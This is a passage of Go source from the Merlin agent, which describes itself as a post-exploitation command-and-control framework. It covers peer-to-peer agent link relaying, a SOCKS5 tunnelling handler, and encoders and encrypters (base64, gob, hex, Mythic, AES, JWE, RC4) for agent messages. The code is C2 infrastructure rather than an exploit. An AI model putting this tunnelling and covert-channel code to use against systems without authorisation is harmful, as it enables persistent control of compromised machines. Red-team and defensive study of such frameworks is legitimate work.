for i < fragments {
start := i * p2p.MaxSizeUDP
var stop int
// if bytes remaining are less than max size, read until the end
if size < p2p.MaxSizeUDP {
stop = len(delegate.Payload)
} else {
stop = (i + 1) * p2p.MaxSizeUDP
}
switch link.Type() {
case p2p.UDPBIND:
n, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop])
case p2p.UDPREVERSE:
n, err = link.Conn().(net.PacketConn).WriteTo(delegate.Payload[start:stop], link.Remote())
}
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err))
break
}
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote UDP fragment %d of %d", i+1, fragments))
i++
size = size - p2p.MaxSizeUDP
// UDP packets seemed to get dropped if too many are sent too fast
if fragments > 100 {
time.Sleep(time.Millisecond * 10)
}
}
default:
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): unhandled Agent type: %d", link.Type()))
break
}
if err != nil {
if errors.Is(err, syscall.EPIPE) {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s has closed the connection", link.Conn().(net.Conn).RemoteAddr()))
} else if errors.Is(err, syscall.ECONNRESET) {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s has reset the connection", link.Conn().(net.Conn).RemoteAddr()))
} else if errors.Is(err, io.EOF) {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s has closed the connection", link.Conn().(net.Conn).RemoteAddr()))
} else {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err))
}
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): removing the linked agent %s at %s from the repository", link.ID(), link.Conn().(net.Conn).RemoteAddr()))
link.Unlock()
s.Delete(link.ID())
break
}
cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to the linked agent %s at %s at %s\n", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))
// Without a delay, synchronous connections can send multiple messages so fast that receiver thinks it is one message
// TODO Fix this so that way an artificial sleep is not needed
// Sent about 25 UDP IDLE messages in 1 second and caused the agent to receive them out of order
time.Sleep(sleep)
link.Unlock()
}
}
// List returns a numbered list of peer-to-peer Links that exist each seperated by a new line
func (s *Service) List() (list string) {
agents := s.repo.GetAll()
list = fmt.Sprintf("Peer-to-Peer Links (%d)\n", len(agents))
for i, agent := range agents {
list += fmt.Sprintf("%d. %s:%s:%s\n", i, agent.String(), agent.ID(), agent.Remote())
}
return
}
// Refresh sends an empty delegate message to the server for each peer-to-peer Link in the repository to update the server
// with this Agent's links
func (s *Service) Refresh() (list string) {
links := s.repo.GetAll()
for _, link := range links {
s.AddDelegate(messages.Delegate{
Agent: link.ID(),
Listener: link.Listener(),
})
}
return fmt.Sprintf("Created upstream delegate messages for:\n%s", s.List())
}
// Remove closes the peer-to-peer Link's network connection and deletes the peer-to-peer Link from the repository
func (s *Service) Remove(id uuid.UUID) error {
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Remove(): entering into function with id: %s", id))
link, err := s.GetLink(id)
if err != nil {
return fmt.Errorf("services/p2p.Remove(): %s", err)
}
switch link.Type() {
case p2p.TCPBIND, p2p.UDPBIND, p2p.SMBBIND:
// Close the connection
err = link.Conn().(net.Conn).Close()
if err != nil {
return fmt.Errorf("services/p2p.Remove(): there was an error closing the connection for link %s: %s", link.ID(), err)
}
default:
return fmt.Errorf("services/p2p.Remove() unhandled peer-to-peer link type %d", link.Type())
}
s.repo.Delete(id)
return nil
}
// UpdateConnection updates the peer-to-peer Link's network connection with the provided conn
func (s *Service) UpdateConnection(id uuid.UUID, conn interface{}, remote net.Addr) error {
return s.repo.UpdateConn(id, conn, remote)
}
================================================
FILE: services/services.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package services holds the services used to interact with different objects and Agent capabilities
package services
================================================
FILE: socks/socks.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package socks handles SOCKS5 messages from the server
package socks
import (
// Standard
"bytes"
"fmt"
"net"
"sync"
// 3rd Party
"github.com/armon/go-socks5"
"github.com/google/uuid"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
var server *socks5.Server
var connections = sync.Map{}
var done = sync.Map{}
// Handler is the entry point for SOCKS connections.
// This function starts a SOCKS server and processes incoming SOCKS connections
func Handler(msg jobs.Job, jobsOut *chan jobs.Job) {
//fmt.Printf("socks.Handler(): Received SOCKS job ID: %s, Index: %d, Close: %t, Data Length: %d\n", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data))
//defer fmt.Printf("\tsocks.Handler(): Exiting ID: %s, Index: %d, Close: %t, Data Length: %d\n", msg.Payload.(jobs.Socks).ID, msg.Payload.(jobs.Socks).Index, msg.Payload.(jobs.Socks).Close, len(msg.Payload.(jobs.Socks).Data))
job := msg.Payload.(jobs.Socks)
// See if the SOCKS server has already been created
if server == nil {
err := newSOCKSServer()
if err != nil {
cli.Message(cli.WARN, err.Error())
return
}
}
// See if this connection is new
_, ok := connections.Load(job.ID)
if !ok && !job.Close {
client, target := net.Pipe()
in := make(chan jobs.Socks, 100)
connection := Connection{
Job: msg,
In: client,
Out: target,
JobChan: jobsOut,
in: &in,
}
connections.Store(job.ID, &connection)
done.Store(job.ID, false)
// Start the go routine to send read data in and send it to the SOCKS server
go start(job.ID)
go listen(job.ID)
go send(job.ID)
}
conn, ok := connections.Load(job.ID)
if !ok {
cli.Message(cli.WARN, fmt.Sprintf("connection ID %s was not found", job.ID))
return
}
*conn.(*Connection).in <- job
}
// newSOCKSServer is a factory to create and return a global SOCKS5 server instance
func newSOCKSServer() (err error) {
cli.Message(cli.NOTE, "Starting SOCKS5 server")
// Create SOCKS5 server
conf := &socks5.Config{}
server, err = socks5.New(conf)
if err != nil {
return fmt.Errorf("there was an error creating a new SOCKS5 server: %s", err)
}
return
}
// start the SOCKS server to serve the connection
func start(id uuid.UUID) {
cli.Message(cli.NOTE, fmt.Sprintf("Serving new SOCKS connection ID %s", id))
connection, ok := connections.Load(id)
if !ok {
cli.Message(cli.WARN, fmt.Sprintf("connection %s not found", id))
return
}
err := server.ServeConn(connection.(*Connection).In)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error serving SOCKS connection %s: %s", id, err))
}
cli.Message(cli.DEBUG, fmt.Sprintf("Finished serving SOCKS connection ID %s", id))
}
// listen continuously for data being returned from the SOCKS server to be sent to the agent
func listen(id uuid.UUID) {
// Listen for data on the agent-side write pipe
connection, ok := connections.Load(id)
if !ok {
cli.Message(cli.WARN, fmt.Sprintf("connection %s not found", id))
return
}
j := connection.(*Connection).Job
job := jobs.Job{
AgentID: j.AgentID,
ID: j.ID,
Token: j.Token,
Type: jobs.SOCKS,
}
var i int
// Loop 1 - SOCKS client version/method request
// Loop 2 - SOCKS client request
// Loop 3 - Client data
for {
data := make([]byte, 500000)
n, err := connection.(*Connection).Out.Read(data)
cli.Message(cli.DEBUG, fmt.Sprintf("Read %d bytes from the OUTBOUND pipe with error %s", n, err))
//fmt.Printf("[+] Read %d bytes from the OUTBOUND pipe %s with error %s, Data: %x\n", n, id, err, data[:n])
// Check to see if we closed the connection because we are done with it
fin, good := done.Load(id)
if !good {
cli.Message(cli.WARN, fmt.Sprintf("could not find connection ID %s's done map", id))
}
if fin.(bool) {
done.Delete(id)
return
}
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error reading from the OUTBOUND pipe: %s", err))
//fmt.Printf("ERROR reading %d bytes for ID: %s, Index: %d, Close: %t, Data Length: %d, Error: %s\n", n, id, i, j.Payload.(jobs.Socks).Close, len(j.Payload.(jobs.Socks).Data), err)
return
}
// Return data to the client
job.Payload = jobs.Socks{
ID: id,
Index: i,
Data: data[:n],
}
*connection.(*Connection).JobChan <- job
i++
}
}
// send continuously sends data to the SOCKS server from the SOCKS client
func send(id uuid.UUID) {
conn, ok := connections.Load(id)
if !ok {
cli.Message(cli.WARN, fmt.Sprintf("connection ID %s was not found", id))
return
}
for {
// Get SOCKS job from the channel
job := <-*conn.(*Connection).in
// Check to ensure the index is correct, if not, return it to the channel to be processed again
if conn.(*Connection).Count != job.Index {
*conn.(*Connection).in <- job
continue
}
// If there is data, write it to the SOCKS server
// Send data, if any, before closing the connection
if len(job.Data) > 0 {
conn.(*Connection).Count++
// Write the received data to the agent side pipe
var buff bytes.Buffer
_, err := buff.Write(job.Data)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error writing SOCKS data to the buffer: %s", err))
return
}
//fmt.Printf("Writing %d bytes to SOCKS target \n", len(job.Data))
n, err := conn.(*Connection).Out.Write(buff.Bytes())
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error writing data to the SOCKS %s OUTBOUND pipe: %s", job.ID, err))
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("Wrote %d bytes to the SOCKS %s OUTBOUND pipe with error %s", n, job.ID, err))
}
// If the SOCKS client has sent io.EOF to close the connection
if job.Close {
// Mythic is sending two Close messages so the counter needs to increment on close too
if len(job.Data) <= 0 {
conn.(*Connection).Count++
}
cli.Message(cli.NOTE, fmt.Sprintf("Closing SOCKS connection %s", job.ID))
cli.Message(cli.DEBUG, fmt.Sprintf("Closing SOCKS connection %s OUTBOUND pipe", job.ID))
err := conn.(*Connection).Out.Close()
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error closing the SOCKS connection %s OUTBOUND pipe: %s", job.ID, err))
}
cli.Message(cli.DEBUG, fmt.Sprintf("Closing SOCKS connection %s INBOUND pipe", job.ID))
err = conn.(*Connection).In.Close()
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error closing the SOCKS connection %s INBOUND pipe: %s", job.ID, err))
}
// Remove the connection from the map
connections.Delete(job.ID)
done.Store(job.ID, true)
return
}
}
}
// Connection is a structure used to track new SOCKS client connections
type Connection struct {
Job jobs.Job
In net.Conn
Out net.Conn
JobChan *chan jobs.Job // Channel to send jobs back to the server
in *chan jobs.Socks // Channel to receive and process SOCKS data locally
Count int // Counter to track the number of SOCKS messages sent
}
================================================
FILE: transformers/encoders/base64/base64.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package base64 encodes/decodes Agent messages
package base64
import (
"encoding/base64"
"fmt"
)
const (
BYTE = 0
STRING = 1
)
type Coder struct {
concrete int
}
// NewEncoder is a factory that returns a structure that implements the Transformer interface
func NewEncoder(concrete int) *Coder {
return &Coder{concrete: concrete}
}
// Construct takes in data, Base64 encodes it, and returns the encoded data as bytes
func (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {
switch c.concrete {
case BYTE:
retData = make([]byte, base64.StdEncoding.EncodedLen(len(data.([]byte))))
base64.StdEncoding.Encode(retData, data.([]byte))
case STRING:
retData = []byte(base64.StdEncoding.EncodeToString(data.([]byte)))
}
return
}
// Deconstruct takes in bytes and Base64 decodes it to its original type
func (c *Coder) Deconstruct(data, key []byte) (any, error) {
switch c.concrete {
case BYTE:
retData := make([]byte, base64.StdEncoding.DecodedLen(len(data)))
return base64.StdEncoding.Decode(retData, data)
case STRING:
return base64.StdEncoding.DecodeString(string(data))
default:
return nil, fmt.Errorf("transformer/encoders/base64.Deconstruct(): unhandled concrete type %d", c.concrete)
}
}
// String converts the Gob encode/decode constant to a string
func (c *Coder) String() string {
switch c.concrete {
case BYTE:
return "base64-byte"
case STRING:
return "base64-string"
default:
return fmt.Sprintf("unknown base64 transform %d", c.concrete)
}
}
================================================
FILE: transformers/encoders/gob/gob.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package gob encodes/decodes Agent messages
package gob
import (
// Standard
"bytes"
"encoding/gob"
"fmt"
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
const (
STRING = 0
BASE = 1
DELEGATE = 2
)
type Coder struct {
concrete int
}
// NewEncoder is a factory that returns a structure that implements the Transformer interface
func NewEncoder(concrete int) *Coder {
return &Coder{concrete: concrete}
}
// Construct takes in data, Gob encodes it, and returns the encoded data as bytes
func (c *Coder) Construct(data any, key []byte) ([]byte, error) {
return c.Encode(data)
}
// Deconstruct takes in bytes and Gob decodes it to its original type
func (c *Coder) Deconstruct(data, key []byte) (any, error) {
return c.Decode(data)
}
// Encode takes in data, Gob encodes it, and returns the encoded data as bytes
// This function is exported so that it can be called directly outside the Transformer interface
func (c *Coder) Encode(e any) ([]byte, error) {
//fmt.Printf("pkg/encoders/gob.Encode(): %T:%+v\n", e, e)
encoded := new(bytes.Buffer)
switch c.concrete {
case BASE:
data := e.(messages.Base)
err := gob.NewEncoder(encoded).Encode(data)
if err != nil {
return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding messages.Base: %s", err)
}
return encoded.Bytes(), nil
case STRING:
data := string(e.([]byte))
err := gob.NewEncoder(encoded).Encode(data)
if err != nil {
return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding string: %s", err)
}
return encoded.Bytes(), nil
case DELEGATE:
data := e.(messages.Delegate)
err := gob.NewEncoder(encoded).Encode(data)
if err != nil {
return nil, fmt.Errorf("pkg/encoders/gob.Encode(): error gob encoding messages.Delegate: %s", err)
}
return encoded.Bytes(), nil
default:
return nil, fmt.Errorf("pkg/encoders/gob.Encode(): unhandled concrete type %T", c.concrete)
}
}
// Decode takes in bytes and Gob decodes it to its original type
// This function is exported so that it can be called directly outside the Transformer interface
func (c *Coder) Decode(data []byte) (any, error) {
//fmt.Printf("Gob Decode %T concrete: %d\n", data, c.concrete)
var err error
switch c.concrete {
case STRING:
var d string
err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)
return d, err
case BASE:
var d messages.Base
err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)
return d, err
case DELEGATE:
var d messages.Delegate
err = gob.NewDecoder(bytes.NewReader(data)).Decode(&d)
return d, err
default:
return nil, fmt.Errorf("pkg/gob/encoders.Decode(): unhandled concrete type %d", c.concrete)
}
}
// String converts the Gob encode/decode constant to a string
func (c *Coder) String() string {
switch c.concrete {
case STRING:
return "gob-string"
case BASE:
return "gob-base"
case DELEGATE:
return "gob-delegate"
default:
return fmt.Sprintf("unknown transform %d", c.concrete)
}
}
================================================
FILE: transformers/encoders/hex/hex.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package hex encodes/decodes Agent messages
package hex
import (
"encoding/hex"
"fmt"
)
const (
BYTE = 0
STRING = 1
)
type Coder struct {
concrete int
}
// NewEncoder is a factory that returns a structure that implements the Transformer interface
func NewEncoder(concrete int) *Coder {
return &Coder{concrete: concrete}
}
// Construct takes in data, hex encodes it, and returns the encoded data as bytes
func (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {
retData = make([]byte, hex.EncodedLen(len(data.([]byte))))
switch c.concrete {
case BYTE:
hex.Encode(retData, data.([]byte))
case STRING:
retData = []byte(hex.EncodeToString(data.([]byte)))
//hex.Encode(retData, []byte(data.(string)))
default:
err = fmt.Errorf("transformer/encoders/hex.Construct(): unhandled concrete type: %d", c.concrete)
}
return
}
// Deconstruct takes in bytes and hex decodes it to its original type
func (c *Coder) Deconstruct(data, key []byte) (any, error) {
retData := make([]byte, hex.DecodedLen(len(data)))
_, err := hex.Decode(retData, data)
if err != nil {
return nil, fmt.Errorf("transformer/encoders/hex.Deconstruct(): there was an error Base64 decoding the incoming data: %s", err)
}
switch c.concrete {
case BYTE:
return retData, nil
case STRING:
return string(retData), nil
default:
return nil, fmt.Errorf("transformer/encoders/hex.Deconstruct(): unhandled concrete type %d", c.concrete)
}
}
// String converts the Gob encode/decode constant to a string
func (c *Coder) String() string {
switch c.concrete {
case BYTE:
return "hex-byte"
case STRING:
return "hex-string"
default:
return fmt.Sprintf("hex base64 transform %d", c.concrete)
}
}
================================================
FILE: transformers/encoders/mythic/mythic.go
================================================
//go:build mythic
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package mythic encode/decode Agent messages to/from the Mythic C2 framework
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format
package mythic
import (
"encoding/base64"
"fmt"
)
type Coder struct {
}
// NewEncoder is a factory that returns a structure that implements the Transformer interface
func NewEncoder() *Coder {
return &Coder{}
}
// Construct takes in data, prepends the UUID, base64 encodes it, and returns the encoded data as bytes
// id is the UUID as bytes to prepend to the data
func (c *Coder) Construct(data any, id []byte) ([]byte, error) {
// UUID - This UUID varies based on the phase of the agent (initial checkin, staging, fully staged).
// This is a 36-character long of the format b50a5fe8-099d-4611-a2ac-96d93e6ec77b.
// Optionally, if your agent is dealing with more of a binary-level specification rather than strings, you can use
// a 16-byte big-endian value here for the binary representation of the UUID4 string.
// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/agent-message-format
data = append(id, data.([]byte)...)
// Base64 encode the data
payload := base64.StdEncoding.EncodeToString(data.([]byte))
return []byte(payload), nil
}
// Deconstruct takes in data, base64 decodes it, and returns the decoded data as bytes
// key is the UUID as bytes to prepend to the data
func (c *Coder) Deconstruct(data, id []byte) (any, error) {
// Base64 decode the data
payload, err := base64.StdEncoding.DecodeString(string(data))
if err != nil {
return nil, err
}
// Validate the UUID
if string(payload[:36]) != string(id) {
return nil, fmt.Errorf("transformers/encoders/mythic/http.Deconstruct(): UUID mismatch have: %s want: %s", string(payload[:36]), string(id))
}
// Remove the UUID
payload = payload[36:]
return payload, nil
}
// String returns the name of the encoder
func (c *Coder) String() string {
return "mythic"
}
================================================
FILE: transformers/encrypters/aes/aes.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package aes encrypts/decrypts Agent messages
package aes
import (
// Standard
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"fmt"
"io"
)
type Encrypter struct {
}
// NewEncrypter is a factory to return a structure that implements the Transformer interface
func NewEncrypter() *Encrypter {
return &Encrypter{}
}
// Construct takes data in data, AES encrypts it with the provided key, and returns that data as bytes
func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {
switch data.(type) {
case []uint8:
return encrypt(data.([]byte), key)
default:
return nil, fmt.Errorf("transformers/encrypters/aes unhandled data type for Construct(): %T", data)
}
}
// Deconstruct takes in AES encrypted data, decrypts it with the provided key, and returns the data as bytes
func (e *Encrypter) Deconstruct(data, key []byte) (any, error) {
return decrypt(data, key)
}
// encrypt reads in plaintext data as aa byte slice, encrypts it with the client's secret key, and returns the ciphertext
func encrypt(plaintext []byte, key []byte) ([]byte, error) {
// Pad plaintext
padding := aes.BlockSize - len(plaintext)%aes.BlockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
plaintext = append(plaintext, padtext...)
if len(plaintext)%aes.BlockSize != 0 {
return nil, fmt.Errorf("plaintext size: %d is not a multiple of the block size: %d", len(plaintext), aes.BlockSize)
}
// AES only takes 16, 24, or 32 byte keys
if len(key) > 32 {
temp := sha256.Sum256(key)
key = temp[:]
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("transformers/encrypters/aes.encrypt(): %s", err)
}
ciphertext := make([]byte, aes.BlockSize+len(plaintext))
iv := ciphertext[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return nil, err
}
// AES CBC Encrypt
cbc := cipher.NewCBCEncrypter(block, iv)
cbc.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)
// HMAC
hash := hmac.New(sha256.New, key)
_, err = hash.Write(ciphertext)
if err != nil {
return nil, fmt.Errorf("there was an error in the aesEncrypt function writing the HMAC:\r\n%s", err)
}
// IV + Ciphertext + HMAC
return append(ciphertext, hash.Sum(nil)...), nil
}
// decrypt reads in ciphertext data as a byte slice, decrypts it with the client's secret key, and returns the plaintext
func decrypt(ciphertext []byte, key []byte) ([]byte, error) {
var block cipher.Block
var err error
// AES only takes 16, 24, or 32 byte keys
if len(key) > 32 {
temp := sha256.Sum256(key)
key = temp[:]
}
if block, err = aes.NewCipher(key); err != nil {
return nil, fmt.Errorf("transformers/encrypters/aes.decrypt(): %s", err)
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext was not greater than the AES block size")
}
if len(ciphertext) < 32+aes.BlockSize {
return nil, fmt.Errorf("ciphertext not long enough to contain a hash")
}
// IV + Ciphertext + HMAC
iv := ciphertext[:aes.BlockSize] // First 16 bytes
hash := ciphertext[len(ciphertext)-32:] // Last
ciphertext = ciphertext[aes.BlockSize : len(ciphertext)-32]
// Verify encrypted data is a multiple of the block size
if len(ciphertext)%aes.BlockSize != 0 {
return nil, fmt.Errorf("ciphertext was not a multiple of the AES block size")
}
// Verify the HMAC hash
h := hmac.New(sha256.New, key)
_, err = h.Write(append(iv, ciphertext...))
if err != nil {
return nil, fmt.Errorf("there was an error in the aesDecrypt function writing the HMAC:\r\n%s", err)
}
if !hmac.Equal(h.Sum(nil), hash) {
return nil, fmt.Errorf("there was an error validating the AES HMAC hash, expected: %x but got: %x", h.Sum(nil), hash)
}
// AES CBC Decrypt
cbc := cipher.NewCBCDecrypter(block, iv)
cbc.CryptBlocks(ciphertext, ciphertext)
// Remove padding
ciphertext = ciphertext[:(len(ciphertext) - int(ciphertext[len(ciphertext)-1]))]
return ciphertext, nil
}
func (e *Encrypter) String() string {
return "aes"
}
================================================
FILE: transformers/encrypters/jwe/jwe.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package jwe encrypts/decrypts Agent messages to/from JSON Web Encryption compact serialization format
package jwe
import (
// Standard
"fmt"
// 3rd Party
"github.com/go-jose/go-jose/v3"
)
type Encrypter struct {
}
// NewEncrypter is a factory to return a structure that implements the Transformer interface
func NewEncrypter() *Encrypter {
return &Encrypter{}
}
// Construct takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and
// AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a
// JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned
// as bytes.
// PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations)
func (e *Encrypter) Construct(data any, key []byte) ([]byte, error) {
switch data.(type) {
case []uint8:
return e.encrypt(data.([]byte), key)
default:
return nil, fmt.Errorf("pkg/encrypters/jwe unhandled data type for Construct(): %T", data)
}
}
// Deconstruct takes in a JSON Web Encryption (JWE) object in the compact serialization format as bytes, decrypts it,
// and returns it that data as bytes
func (e *Encrypter) Deconstruct(data, key []byte) (any, error) {
// Parse JWE string back into JSONWebEncryption
jwe, err := jose.ParseEncrypted(string(data))
if err != nil {
return nil, fmt.Errorf("there was an error parseing the JWE string into a JSONWebEncryption object: %s", err)
}
// Decrypt the JWE
return jwe.Decrypt(key)
}
// encrypt takes data in data, encrypts it using PBES2 (RFC 2898) with HMAC SHA-512 as the PRF and
// AES Key Wrap (RFC 3394) using 256-bit keys for the encryption scheme. The data is then transformed into a
// JSON Web Encryption (JWE) object and serializes it using the compact serialization format to string that is returned
// as bytes.
// PBES2 uses Password-Based Key Derivation Function 2 (PBKDF2) with a hard-coded 3000 rounds (iterations)
func (e *Encrypter) encrypt(data, key []byte) ([]byte, error) {
// Keys used with AES GCM must follow the constraints in Section 8.3 of
// [NIST.800-38D], which states: "The total number of invocations of the
// authenticated encryption function shall not exceed 2^32, including
// all IV lengths and all instances of the authenticated encryption
// function with the given key". In accordance with this rule, AES GCM
// MUST NOT be used with the same key value more than 2^32 times. == 4294967296
enc, err := jose.NewEncrypter(jose.A256GCM,
jose.Recipient{
Algorithm: jose.PBES2_HS512_A256KW, // Creates a per message key encrypted with the passed in key
//Algorithm: jose.DIRECT, // Doesn't create a per message key
// https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2
// A minimum iteration count of 1000 is RECOMMENDED.
PBES2Count: 3000,
Key: key},
nil)
if err != nil {
return nil, fmt.Errorf("there was an error creating the JWE encryptor:\r\n%s", err)
}
// Encrypt the data into a JWE
jwe, err := enc.Encrypt(data)
if err != nil {
return nil, fmt.Errorf("there was an error encrypting the Authentication JSON object to a JWE object:\r\n%s", err)
}
// Serialize the data into a string
serialized, err := jwe.CompactSerialize()
if err != nil {
return nil, fmt.Errorf("there was an error serializing the JWE in compact format:\r\n%s", err)
}
// Parse it to make sure there were no errors serializing it
_, err = jose.ParseEncrypted(serialized)
if err != nil {
return nil, fmt.Errorf("there was an error parsing the encrypted JWE:\r\n%s", err)
}
return []byte(serialized), nil
}
// String returns a string representation of the encrypter type
func (e *Encrypter) String() string {
return "jwe"
}
================================================
FILE: transformers/encrypters/rc4/rc4.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package rc4 encrypts/decrypts Agent messages
package rc4
import (
"crypto/rc4" // #nosec G503 intentionally using rc4 knowing it is insecure
"fmt"
)
// Encrypter is the structure that implements the Transformer interface for RC4 encrypting/decryption
type Encrypter struct {
}
// NewEncrypter is a factory to return a structure that implements the Transformer interface
func NewEncrypter() *Encrypter {
return &Encrypter{}
}
// Construct takes data in data, RC4 encrypts it with the provided key, and returns that data as bytes
func (e *Encrypter) Construct(data any, key []byte) (retData []byte, err error) {
switch data.(type) {
case []uint8:
return xor(data.([]byte), key)
default:
return nil, fmt.Errorf("pkg/encrypters/rc4 unhandled data type for Construct(): %T", data)
}
}
// Deconstruct takes in RC4 encrypted data, decrypts it with the provided key, and returns the data as bytes
